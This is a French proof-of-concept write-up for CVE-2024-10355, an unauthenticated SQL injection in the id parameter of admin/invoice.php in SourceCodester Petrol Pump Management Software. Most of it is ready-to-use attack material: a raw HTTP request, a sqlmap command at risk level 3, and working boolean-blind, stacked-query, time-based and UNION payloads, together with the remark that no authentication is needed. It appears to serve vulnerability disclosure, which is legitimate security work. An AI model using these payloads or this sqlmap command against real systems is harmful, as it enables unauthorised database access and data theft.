
Reproduction et analyse de la CVE-2024-10355, une vulnérabilité d'injection SQL non authentifiée dans SourceCodester Petrol Pump Management Software, avec des payloads de preuve de concept et des étapes d'exploitation.
Téléchargement gratuit du logiciel de gestion de pompe à essence | SourceCodester
Vulnérabilité d'injection SQL dans sourcecodester Petrol pump management software v1.0. Une vulnérabilité a été découverte, classée comme à haut risque, affectant une fonctionnalité inconnue du fichier admin\invoice.php. L'utilisation du paramètre id pour construire des instructions SQL malveillantes permet d'obtenir des informations sensibles, causant ainsi des dommages.
admin\invoice.php

Ici, l'entrée utilisateur $_POST['id'] est concaténée dans la requête SQL, ce qui est évidemment vulnérable aux attaques par injection SQL.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
Enregistrez le paquet et utilisez sqlmap pour attaquer
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Regardez le paquet, je n'ai pas ajouté de valeur de cookie, ce qui indique qu'aucune authentification n'est nécessaire pour lancer des attaques à distance.
Vous pouvez voir que cette charge utile utilise deux méthodes d'injection, time-based blind, boolean-based blind, stacked queries et UNION query, et injecte avec succès le nom de la base de données.